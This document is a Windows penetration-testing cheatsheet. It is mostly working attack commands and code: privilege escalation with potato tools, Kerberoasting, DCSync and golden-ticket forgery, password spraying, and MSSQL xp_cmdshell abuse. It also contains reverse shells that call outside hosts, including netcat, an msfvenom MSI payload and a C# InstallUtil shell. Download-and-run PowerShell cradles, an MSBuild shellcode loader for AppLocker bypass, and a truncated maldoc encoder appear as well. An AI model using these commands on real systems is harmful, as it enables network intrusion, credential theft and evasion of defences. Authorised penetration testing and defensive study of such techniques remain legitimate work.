# Windows

Welcome to my cheatsheet &#x20;


# Recon - Initial Access

* <https://github.com/dafthack/HostRecon/blob/master/HostRecon.ps1>
* <https://gist.github.com/egre55/db41cc2df355e8591eacff561facf34e>

## Who we are&#x20;

```
whoami /fqdn
whoami /upn
whoami
```

## What are our privileges and which group do we belong to

```
whoami /priv
whoami /groups
whoami /all
```

## Systeminfo

```
systeminfo
hostname
```

Hotfix and KB information

```
wmic qfe get Caption,Description,HotFixID,InstalledOn
```

## Antivirus Status

```
Get-MpComputerStatus
```

## Which users/localgroups are on the machine

```
net users
net localgroups
net localgroup Administrators
net user morph3
```

Crosscheck local and domain groups too

```
net user morph3 /domain
net users /domain
net group "Domain Admins" /domain
```

## Network information

```
ipconfig /all
route print
arp -A

# Network connections
netstat -ano
```

Network shares

```
net view
```

## Logged on users

```
Get-NetLoggedon -ComputerName client251
```

## File - Directory enumerations

Recursive string scan

```
findstr /spin "password" *.*
```

To list all the files recursively

```
dir /a-D /S /B
```

Search for writeable directories

```
dir /a-r-d /s /b
```

## Running processes

```
tasklist /SVC
```

## Service related things

To check permissions of us on service vulnsvc

```
accesschk.exe /accepteula -uwcqv morph3 vulnsvc
```


# Privilege Escalation

### &#x20;PowerShellMafia

Try to use dev brach always. PowerView has some cool functions to use.

* <https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1>
* <https://github.com/PowerShellMafia/PowerSploit/blob/dev/Privesc/PowerUp.ps1>

```py
powershell.exe -c "Import-Module C:\Users\Public\PowerUp.ps1; Invoke-AllChecks"
powershell.exe -c "Import-Module C:\Users\Public\Get-System.ps1; Get-System"
```

### Unquoted Service Paths

Let's say we have a system path like below.&#x20;

`C:\Program Files\IObit\Advanced SystemCare\ASCService.exe`

Windows will first try execute it like below in the following order&#x20;

* `c:\program.exe`&#x20;
* `C:\Program Files\IObit\Advanced.exe`&#x20;
* `C:\Program Files\IObit\Advanced SystemCare\ASCService.exe` &#x20;

If we can plant the exe in one of the paths below we can elevate privileges

* Please note that we need to either have the ability to restart the machine or restart the service. Otherwise it's useless kinda. &#x20;

#### Enumerating unquoted service paths

```py
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v 
```

### WinPeas

It is a great privilege escalation enumeration tool. Find the releases below and simply execute the binary.

* <https://github.com/carlospolop/PEASS-ng/releases>

```
.\winPEASx64_ofs.exe notcolor quiet
```

### Seatbelt

* <https://github.com/GhostPack/Seatbelt>

### Always Install Elevated

* <https://www.hackingarticles.in/windows-privilege-escalation-alwaysinstallelevated/#:~:text=For%20this%20purpose%2C%20the%20AlwaysInstallElevated,any%20program%20on%20the%20system.>

Detecting if the OS is vulnerable,

```
reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
```

If always install elevated is enabled, queries above should return 1.

Exploiting it is pretty simple. Generate an msi payload,

```
msfvenom -p windows/shell/reverse_tcp lhost=1.3.3.7 lport=9001 -f msi > shell.msi
```

Execute it,

```
msiexec /quiet /qn /i 1.msi
```


# Enable Privs

<https://www.leeholmes.com/blog/2010/09/24/adjusting-token-privileges-in-powershell/>

```
$definition = @'
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Runtime.InteropServices;
namespace Set_TokenPermission
{
    public class SetTokenPriv
    {
        [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]
        internal static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall,
        ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen);
        [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]
        internal static extern bool OpenProcessToken(IntPtr h, int acc, ref IntPtr phtok);
        [DllImport("advapi32.dll", SetLastError = true)]
        internal static extern bool LookupPrivilegeValue(string host, string name, ref long pluid);
        [StructLayout(LayoutKind.Sequential, Pack = 1)]
        internal struct TokPriv1Luid
        {
            public int Count;
            public long Luid;
            public int Attr;
        }
        internal const int SE_PRIVILEGE_ENABLED = 0x00000002;
        internal const int SE_PRIVILEGE_DISABLED = 0x00000000;
        internal const int TOKEN_QUERY = 0x00000008;
        internal const int TOKEN_ADJUST_PRIVILEGES = 0x00000020;
        public static void EnablePrivilege()
        {
            bool retVal;
            TokPriv1Luid tp;
            IntPtr hproc = new IntPtr();
            hproc = Process.GetCurrentProcess().Handle;
            IntPtr htok = IntPtr.Zero;
            List<string> privs = new List<string>() {   "SeRestorePrivilege" };
            
            retVal = OpenProcessToken(hproc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, ref htok);
            tp.Count = 1;
            tp.Luid = 0;
            tp.Attr = SE_PRIVILEGE_ENABLED;
            foreach (var priv in privs)
            {
                retVal = LookupPrivilegeValue(null, priv, ref tp.Luid);
                retVal = AdjustTokenPrivileges(htok, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero);                              
            }
        }
    }  
}
'@

$type = Add-Type $definition -PassThru
$type[0]::EnablePrivilege() 2>&1

```


# SeBackupPrivilege

This privilege is a win. We can create a shadow copy of the OS and read secret files such as SYSTEM, SECURITY, NTDS.dit etc

[](<https://github.com/giuliano108/SeBackupPrivilege&#xD;&#xA;&#xD;&#xA;>)Create a shadow copy and expose it as a network share.

```bash
diskshadow.exe
set context persistent nowriters
add volume C: alias morph3
create
expose %morph3% G:
```

Diskshadow\.exe puts you into an interactive session so If the commands above doesn't work, don't forget to add ; after the commands.<br>

To abuse my SeBackupPrivilege privilege, use the dll below and enable your privilege.

* [https://github.com/giuliano108/SeBackupPrivile](<https://github.com/giuliano108/SeBackupPrivilege&#xD;&#xA;&#xD;&#xA;>)

```bash
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
Set-SeBackupPrivilege
```

After that you can copy the secret files,

```bash
Copy-FileSeBackupPrivilege <source> <target>
Copy-FileSeBackupPrivilege G:\windows\NTDS\ntds.dit c:\windows\temp\ntds.dit
```

And you can dump the hashes locally

```bash
python secretsdump.py -system ./SYSTEM -ntds ./ntds.dit LOCAL

```


# SeImpersonatePrivilege

If you have this permission you are most likely a service account and you will %99 end up as NT Authority/System

If the operating system version is <= windows server 2016 use Juicy Potato else use PrintSpoofer

## Juicy Potato

Pick one CLSID from here according to your system

* <https://github.com/ohpe/juicy-potato/tree/master/CLSID>

Download the Juicy Potato binary from here

* <https://github.com/ohpe/juicy-potato/releases>

```
C:\Windows\Temp\JuicyPotato.exe -p cmd.exe -a "/c whoami > C:\Users\Public\morph3.txt" -t * -l 1031 -c {d20a3293-3341-4ae8-9aaf-8e397cb63c34}
```

## RoguePotato

I have never played with this one but should work in most of the cases&#x20;

* <https://github.com/antonioCoco/RoguePotato>
* <https://github.com/antonioCoco/RoguePotato/releases/tag/1.0>
* [https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/  ](<https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/&#xD;&#xA;&#xD;&#xA;>)

## PrintSpoofer

* <https://github.com/itm4n/PrintSpoofer>
* <https://github.com/itm4n/PrintSpoofer/releases/tag/v1.0>

```
.\PrintSpoofer.exe -i -c cmd

.\PrintSpoofer.exe -c "C:\TOOLS\nc.exe 10.10.13.37 1337 -e cmd"
```

## RogueWinRM

* <https://github.com/antonioCoco/RogueWinRM>
* <https://github.com/antonioCoco/RogueWinRM/releases/tag/1.1>

```
.\RogueWinRM.exe -p C:\windows\system32\cmd.exe

.\RogueWinRM.exe -p C:\windows\temp\nc64.exe -a "10.0.0.1 3001 -e cmd"
```


# SeDebugPrivilege

Most powerful privilege you can get. Easy system shell

You can update update proc attribute list with this privilege and can elevate privileges.

Use the module below to do that.

* <https://github.com/decoder-it/psgetsystem/blob/master/psgetsys.ps1>

```powershell
import-module .\psgetsys.ps1
```

Find pid of a process that is privileged.

```powershell
Get-Process winlogon
```

Use that pid to attach & execute commands

```powershell
[MyProcess]::CreateProcessFromParent("552","c:\windows\system32\cmd.exe", "/c c:\windows\temp\nc.exe 127.0.0.1 4444 -e cmd.exe")
```


# Kerberoasting

If an account has SPN (Service Principal Name) set. We can request that account hash and try to crack it locally&#x20;

For kerberos to work, times have to be within 5 minutes between attacker and victim.

## Rubeus

* <https://github.com/GhostPack/Rubeus>

```
.\rubeus.exe kerberoast /creduser:ecorp\morph3 /credpassword:pass1234 /nowrap
```

## Getting SPNs&#x20;

There are many ways to do it.&#x20;

* <https://raw.githubusercontent.com/nidem/kerberoast/master/GetUserSPNs.ps1>

```
setspn.exe -t ecorp.local -q */*
powershell.exe -exec bypass -c "Import-Module .\GetUserSPNs.ps1"
python3 /opt/impacket/examples/GetUserSPNs.py -request  -target-domain ecorp.local ecorp/morph3:Password123@10.10.10.21 -dc-ip 10.10.10.21
```

## Mimikatz

Listing cached tickets

```
Invoke-Mimikatz -Command '"kerberos::list"'
powershell.exe -c "klist"
powershell.exe -c "Import-Module C:\Users\Public\Invoke-Mimikatz.ps1; Invoke-Mimikatz -Command '"kerberos::list"'"
```

## Extracting tickets

```
Invoke-Mimikatz -Command '"kerberos::list /export"'
```

## Invoke-Kerberoast

This powershell script is always my go to. It works pretty fine

* <https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1>

```
powershell.exe -c "Import-Module C:\Users\Public\Invoke-Kerberoast.ps1; Invoke-Kerberoast -OutputFormat Hashcat"
```

```
powershell.exe -ep bypass -nop
Import-Module .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -OutputFormat HashCat|Select-Object -ExpandProperty hash | out-file -Encoding ASCII kerberoast.txt
```


# Lateral Movement

There aren't many ways to move laterally on windows. Below are the main ones.

* psexec
* RDP
* WinRM
* SSH(not likely)

PTH(pass the hash) can be used most of the time.&#x20;

## Mimikatz Ticket PTT

```py
Enable-PSRemoting
mimikatz.exe '" kerberos:ptt C:\Users\Public\ticketname.kirbi"' "exit"
Enter-PSSession -ComputerName ECORP
```

## WinRM

```powershell
$pass = ConvertTo-SecureString 'supersecurepassword' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential ('ECORP.local\morph3', $pass)
Invoke-Command -ComputerName DC -Credential $cred -ScriptBlock { whoami }

# Evil-WinRM
https://github.com/Hackplayers/evil-winrm
ruby evil-winrm.rb -i 192.168.1.2 -u morph3 -p morph3 -r evil.corp
```

## PTH with Mimikatz

```powershell
Invoke-Mimikatz -Command '"sekurlsa::pth /user:user /domain:domain /ntlm:hash /run:command"'
```

## Pass The Ccache (PTC)

Grab the ccache from remote and put into environment variable

```
export KRB5CCNAME=/home/morph3/Desktop/krb5cc_012345678_XXXX
```

Make sure the times are synced up with the DC&#x20;

```
sudo ntpdate -u 192.168.1.231
```

Psexec to the target

```
impacket-psexec morph3@dc01.domain.local -dc-ip 192.168.1.231 -k -no-pass
```

\*\* Don't include domain name in psexec. If you are having issues with the command you may remove the username as well.

## Cracking Ccache

Convert the ccache file into kirbi file using a converter.&#x20;

* I use <https://github.com/zer1t0/ticket_converter>

```
python2 /opt/ticket_converter/ticket_converter.py krb5cc_012345678_XXXX ticket.kirbi
```

Convert kirbi to crackable hash.

* <https://github.com/nidem/kerberoast>
* <https://github.com/jarilaos/kirbi2hashcat/blob/master/kirbi2hashcat.py>

```
python3 /opt/kerberoast/kirbi2john.py ticket.kirbi | tee ticket_hash.txt
```

## RDP

Impacket's rdp\_check.py script is good.

```
impacket-rdp_check morph3:Password123@1.3.3.7
python3 /opt/impacket/examples/rdp_check.py ecorp/morph3@1.3.3.7
```

```
xfreerdp /u:morph3 /p:Password123 /v:1.3.3.7
xfreerdp /u:morph3  /pth:08df3c74ded740e1f2bcf5dea4b8daf6  /v:1.3.3.7
rdesktop 1.3.3.7 -u Administrator -p 123456
```

## CrackMapExec

Swiss-knife tool for password spraying.

* <https://github.com/byt3bl33d3r/CrackMapExec>

```
crackmapexec smb ./ips.txt -u ./users -H hashes --local-auth
crackmapexec smb 1.3.3.7  -u ./users -p ./passwords --continue-on-success --shares
```


# MSSQL

## PowerUpSQL

* <https://github.com/NetSPI/PowerUpSQL>

```
Get-SQLServerLink -Instance server -Verbose
powershell.exe -c "Import-Module C:\Users\Public\PowerUpSQL.ps1; Invoke-SQLEscalatePriv -Verbose -Instance ECORP\sql01"
```

## Linked servers

```
select srvname from master..sysservers;
```

Native

```
Get-SQLServerLinkCrawl -Instance server -Query "exec master..xp_cmdshell 'whoami'"
```

Linked database tables

```
select * from openquery(foo, 'select TABLE_NAME from FOO.INFORMATION_SCHEMA.TABLES') 
```

Meterpreter module,

* exploit/windows/mssql/mssql\_linkcrawler

Mssqlclient.py,

```
execute ('sp_configure ''show advanced options'', 1') at sql99;
execute (' reconfigure; ') at sql99;
execute (' sp_configure ''xp_cmdshell'',1 ') at sql99;
execute (' reconfigure; ') at sql99;
execute (' xp_cmdshell ''whoami'' ') at sql99;


SQL> execute (' xp_cmdshell ''whoami'' ') at sql99;
output                                                                                                                                                                                                                                                            

---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------   

nt authority\system                                                                                                                                                                                                                                               

NULL

```

## Impersonation

Check if you can impersonate to other users,

```
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'
```

You can then impersonate to those users use,

```
EXECUTE AS LOGIN = 'sa';
```

You can verify the impersonation using,

```
select SYSTEM_USER;
```

## Mssql Client in C\#

Compile using \`csc.exe mssql\_client.cs\`.&#x20;

```csharp
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Data.SqlClient;
using System.Collections;

namespace SQL
{
    public class SQL
    {
        static String Run(SqlConnection con, string execCmd)
        {
            SqlCommand command = new SqlCommand(execCmd, con);
            SqlDataReader reader = command.ExecuteReader();
            String res = "";
            while (reader.Read())
            {
                res += reader[0] + "\n";
            }
            reader.Close();
            return res;
        }

        public static void Main(string[] args)
        {
            String sqlServer = args[0];
            String database = "master";
            String command = (args.Length > 1 ? args[1] : "");

            String conString = "Server = " + sqlServer + "; Database = " + database + "; Integrated Security = True;";
            using (SqlConnection con = new SqlConnection(conString))
            {
                try
                {
                    con.Open();
                    Console.WriteLine("Auth success!");
                }
                catch
                {
                    Console.WriteLine("Auth failed");
                    return;
                }
                String user = Run(con, "select SYSTEM_USER").Trim();
                String login = Run(con, "select USER_NAME()").Trim();
                Console.WriteLine(String.Format("[+] User: {0}", user));
                Console.WriteLine(String.Format("[+] Login: {0}", login));
 

                if (args[1] == "/i")
                {
                    // while loop
                    String query = "";
                    while (true)
                    {
                        Console.Write("#>");
                        query = Console.ReadLine();
                        if (query == "exit")
                        {
                            return;
                        }
                        Console.WriteLine("[+] Executing query: {0}", query);
                        try
                        {
                            Console.WriteLine(Run(con, query));
                        }
                        catch
                        {
                            Console.WriteLine("[!] Failed to execute the query");
                            Console.WriteLine(Run(con, query));
                        }
                    }
                    return;
                }

                foreach (String sql in command.Split('\n'))
                {
                    if (sql.Trim().Length > 0)
                    {
                        Console.WriteLine(Run(con, sql));
                    }
                }
            }
        }
    }
}
```

```
.\sql.exe localhost /i
.\sql.exe localhost 'select @@version'
```


# AD Related

![](https://pbs.twimg.com/media/CNiCKDaUwAAPXqD?format=jpg\&name=900x900)

## Enumeration

Basic ldap enumeration

* <https://github.com/cddmp/enum4linux-ng>
* <https://github.com/ropnop/windapsearch>
* <https://github.com/CroweCybersecurity/ad-ldap-enum>

```py
python3 /opt/enum4linux-ng/enum4linux-ng.py -A 1.3.3.7 -p Password123-u morph3
python windapsearch.py -u morph3 -p morph3 -d evil.corp --dc-ip 192.168.1.2
python ad-ldap-enum.py -d contoso.com -l 10.0.0.1 -u Administrator -p P@ssw0rd
```

## LDAP Queries

Get all the users

```
Get-ADUser -LDAPFilter "(objectClass=user)"
```

Dump ldap fully

```
export LDAPTLS_REQCERT=never
ldapsearch -LLL -x -H ldaps://dc.foobar.local -b 'dc=foobar,dc=local' -s sub '(objectclass=*)' -D 'test@foobar.local' -w foobar
```

## AS-Rep Roasting

If a user has pre auth enabled, you grab his/her hash

```
impacket-GetNPUsers ecorp.local/ -format hashcat -usersfile ./users -dc-ip 10.3.3.7
```

## Bruteforcing - Password Spraying

* <https://github.com/dafthack/DomainPasswordSpray>

```py
Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt
```

## Kerbrute

Kerberos(port 88) bruteforcing

* <https://github.com/ropnop/kerbrute>
* <https://github.com/ropnop/kerbrute/releases/tag/v1.0.3>

```
# Password brute
./kerbrute_linux_amd64 bruteuser -d evil.corp --dc 192.168.1.2 rockyou.txt morph3

# Username brute
./kerbrute_linux_amd64 userenum -d evil.corp --dc 192.168.1.2 users.txt

# Password spray
./kerbrute_linux_amd64 passwordspray -d evil.corp --dc 192.168.1.2 users.txt rockyou.txt
```

## DC Shadow

* <https://attack.stealthbits.com/how-dcshadow-persistence-attack-works>

-This is a persistence attack-

DC Shadow attack aims to inject malicious Domain Controlllers into AD infrastructure so that we can dump actual AD members.&#x20;

Find sid for that user

```
wmic useraccount where (name='administrator' and domain='%userdomain%') get name,sid
```

This will create a RPC Server and listen

```
lsadump::dcshadow /object:"CN=morph3,OU=Business,OU=Users,OU=ECORP,DC=ECORP,DC=local" /attribute:sidhistory /value:sid
```

Run this from another mimikatz

```
lsadump::dcshadow /push
```

After this, unregistration must be done. Relogin now and perform DCSync

```py
lsadump::dcsync /domain:ECORP.local /account:krbtgt
```

## DC Sync

Using mimikatz,

```
lsadump::dcsync /domain:domain /all /csv
lsadump::dcsync /user:krbtgt
```

Using DCSync.ps1,

* <https://gist.github.com/monoxgas/9d238accd969550136db>

```
https://gist.github.com/monoxgas/9d238accd969550136db
powershell.exe -c "Import-Module .\Invoke-DCSync.ps1; Invoke-DCSync -PWDumpFormat"
```

Using secretdumps module from impacket,

```py
python secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1
python secretsdump.py -system /tmp/SYSTEM -ntds /tmp/ntds.dit LOCAL
impacket-secretsdump morph3@10.11.1.75
```

## Domain Trust

```
get-domaintrustmapping
```

We get current domain or target domain sid using `Get-DomainSID`

```
kerberos::golden /user:Administrator /domain:<curr_domain> /sid:<curr_domain_sid> /krbtgt:<curr_domain_krbtgt_hash> /sids:<target_domain_sid> /ptt
```

## Golden Ticket

Use krbtgt's hash and you can forge tickets for anyone.

Get krbtgt hash,

```
lsadump::dcsync /all /csv
```

You might want to patch it

```
lsadump::lsa /patch
lsadump::trust /patch
```

Forging the ticket

* /rc4 or /krbtgt -> krbtgt hash&#x20;
* /sid -> Get-DomainSID&#x20;
* /ticket -> this parameter is optional but default is ticket.kirbi&#x20;
* /groups -> this parameter is optional but default is 513,512,520,518,519&#x20;
* /ptt -> switch to perform ptt

```
kerberos::golden /user:morph3 /domain:evil.corp /sid:domains-sid /krbtgt:krbtgt-hash /ticket:ticket.kirbi /groups:501,502,513,512,520,518,519 
kerberos::ptt ticket.kirbi
```

After this, your final ticket should be ready. You can also verify by using the following command that it is in your cache.

```
klist
```

You can now verify it is working.

```
dir \\DC\C$
psexec.exe \\DC cmd.exe
```

purge it

```
kerberos::purge 
```

If you want to use metasploit

```
post/windows/escalate/golden_ticket 
```

## Silver Ticket

Service accounts

ticketer,

```
python3 /opt/impacket/examples/ticketer.py -domain scrm.local -user sqlsvc -password Pegasus60 -domain-sid S-1-5-21-2743207045-1827831105-2542523200 ksimpson -spn MSSQLSvc/dc1.scrm.local -nthash B999A16500B87D17EC7F2E2A68778F05
```


# Bypass-Evasion Techniques

## CLM Bypass

Detecting,

```powershell
PS C:\Users\morph3\Desktop> $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage
```

Idea is very simple, we can abuse  `InstallUtil.exe` like below and bypass CLM&#x20;

```powershell
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Configuration.Install;

namespace Bypass
{
    class Program
    {
        static void Main(string[] args)
        {
            Console.WriteLine("Hello from main");
        }
    }
    [System.ComponentModel.RunInstaller(true)]
    public class Sample : Installer
    {
        public override void Uninstall(System.Collections.IDictionary savedState)
        {
            string rev = @"$client = New-Object System.Net.Sockets.TCPClient('192.168.255.255',4444);
                                    $stream = $client.GetStream();
                                    [byte[]]$bytes = 0..65535|%{0};
                                    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
                                    {
	                                    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
	                                    try
	                                    {	
		                                    $sendback = (iex $data 2>&1 | Out-String );
		                                    $sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';
	                                    }
	                                    catch
	                                    {
		                                    $error[0].ToString() + $error[0].InvocationInfo.PositionMessage;
		                                    $sendback2  =  ""ERROR: "" + $error[0].ToString() + ""`n`n"" + ""PS "" + (pwd).Path + '> ';
	                                    }	
	                                    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
	                                    $stream.Write($sendbyte,0,$sendbyte.Length);
	                                    $stream.Flush();
                                    };
                                    $client.Close();";
        
            String cmd = "IEX(New-Object Net.WebClient).DownloadString('http://192.168.255.255/run.ps1') | powershell -noprofile";
            Runspace rs = RunspaceFactory.CreateRunspace();
            rs.Open();
            PowerShell ps = PowerShell.Create();
            ps.Runspace = rs;
            ps.AddScript(cmd);
            ps.Invoke();
            rs.Close();



        }

    }
}
```

Build this csharp file above and execute it like below,

```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=true /U .\my_clm_bypass.exe
```

Other alternatives,

CLM-Rout,

* <https://github.com/aress31/clm-rout/tree/main/CLMRout>

```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /uninstall /logfile= /LogToConsole=false /script="http://192.168.255.255/a.ps1" .\CLMRout.exe
```

PowerShDll,

* <https://github.com/p3nt4/PowerShdll>

Downgrade (this probably never works I guess),

```py
powershell.exe -v 2 -ep bypass -command "IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/rev.ps1')
```

PSByPassCLM,

* <https://github.com/padovah4ck/PSByPassCLM>

^ disable amsi bypass

```
#interactice
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /revshell=false /logfile= /LogToConsole=true /U .\psbypassclm.exe

#revshell
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /revshell=true /rhost=192.168.49.130 /rport=443 /logfile= /LogToConsole=true /U c:\windows\temp\PsBypassCLM.exe
```

Downgrading (this probably never works I guess),

```py
powershell.exe -v 2 -ep bypass -command "IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/rev.ps1')
```

## Applocker Bypass

* [https://github.com/api0cradle/UltimateAppLockerByPassList](https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md)

### MSBuild

Generate a shellcode like below,

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.255.255 LPORT=9001  -f csharp -e x86/shikata_ga_nai -i  10 > out.cs
```

Replace the shellcode in the template and save it like `something.csproj`

```html
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <!-- This inline task executes shellcode. -->
  <!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
  <!-- Save This File And Execute The Above Command -->
  <!-- Author: Casey Smith, Twitter: @subTee --> 
  <!-- License: BSD 3-Clause -->
  <Target Name="Hello">
    <ClassExample />
  </Target>
  <UsingTask
    TaskName="ClassExample"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
    <Task>
    
      <Code Type="Class" Language="cs">
      <![CDATA[
        using System;
        using System.Runtime.InteropServices;
        using Microsoft.Build.Framework;
        using Microsoft.Build.Utilities;
        public class ClassExample :  Task, ITask
        {         
          private static UInt32 MEM_COMMIT = 0x1000;          
          private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;          
          [DllImport("kernel32")]
            private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
            UInt32 size, UInt32 flAllocationType, UInt32 flProtect);          
          [DllImport("kernel32")]
            private static extern IntPtr CreateThread(            
            UInt32 lpThreadAttributes,
            UInt32 dwStackSize,
            UInt32 lpStartAddress,
            IntPtr param,
            UInt32 dwCreationFlags,
            ref UInt32 lpThreadId           
            );
          [DllImport("kernel32")]
            private static extern UInt32 WaitForSingleObject(           
            IntPtr hHandle,
            UInt32 dwMilliseconds
            );          
          public override bool Execute()
          {
            byte[] shellcode = new byte[195] {
              0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
              0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
              0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
              0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
              0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
              0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
              0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
              0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
              0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
              0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,
              0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,
              0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,
              0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x20,0x63,0x00 };
              
              UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
                MEM_COMMIT, PAGE_EXECUTE_READWRITE);
              Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
              IntPtr hThread = IntPtr.Zero;
              UInt32 threadId = 0;
              IntPtr pinfo = IntPtr.Zero;
              hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
              WaitForSingleObject(hThread, 0xFFFFFFFF);
              return true;
          } 
        }     
      ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>
```

Execute the payload

```py
C:\windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe .\something.csproj 
```

### MSHTA

```html
<html> 
<head> 
<script language="JScript">
var shell = new ActiveXObject("WScript.Shell");
var res = shell.Run("cmd.exe /c calc.exe");
</script>
</head> 
<body>
<script language="JScript">
self.close();
</script>
</body> 
</html>
```

`mshta http://192.168.255.255/test.hta`

### XSL

```html
<?xml version='1.0'?>
<stylesheet version="1.0"
xmlns="http://www.w3.org/1999/XSL/Transform"
xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<output method="text"/>
 <ms:script implements-prefix="user" language="JScript">
 <![CDATA[
 var r = new ActiveXObject("WScript.Shell");
 r.Run("cmd.exe");
 ]]>
 </ms:script>
</stylesheet>
```

`wmic process get brief /format:"http://192.168.255.255/a.xsl`

### DLL

`test.cpp`

```cpp
#include <windows.h>
#include <stdlib.h>

extern "C" __declspec(dllexport) void pwn(void)
{
    OutputDebugString("ExportedFunction");
    system("whoami > a.txt");
}
 
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
    switch (fdwReason)
    {
    case DLL_PROCESS_ATTACH:
        OutputDebugString("DLL_PROCESS_ATTACH");
        break;
 
    case DLL_THREAD_ATTACH:
        OutputDebugString("DLL_THREAD_ATTACH");
        break;
 
    case DLL_THREAD_DETACH:
        OutputDebugString("DLL_THREAD_DETACH");
        break;
 
    case DLL_PROCESS_DETACH:
        OutputDebugString("DLL_PROCESS_DETACH");
        break;
    }
 
    return TRUE;
}

```

`x86_64-w64-mingw32-gcc -shared -o test.dll test.cpp`

```
C:\Windows\System32\rundll32.exe test.dll,pwn
C:\Windows\SysWOW64\rundll32.exe test.dll,pwn
rundll32 test.dll,pwn
```

### ADS - Alternate Data Stream

foo.js

```javascript
var shell = new ActiveXObject("WScript.Shell");
var res = shell.Run("cmd.exe");
```

```
C:\Users\morph3\desktop>type foo.js > test.exe 
C:\Users\morph3\desktop>wscript test.exe:foo.js 

```

## Maldoc

### Rot13 Encoding

It randomly select rot iteration

```python
import random

ceaser_iter = random.randint(2,25)

payload = "curl 192.168.49.248/aa"
payload = "powershell -ep bypass -c \"curl 192.168.49.248/a|iex\""
print(f"[*] payload: {payload}")
print(f"[*] ceaser_iter: {ceaser_iter}")
def encrypt_ceaser(s):
    """
    $payload = "winmgmts:"
    [string]$output = ""
    $payload.ToCharArray() | %{
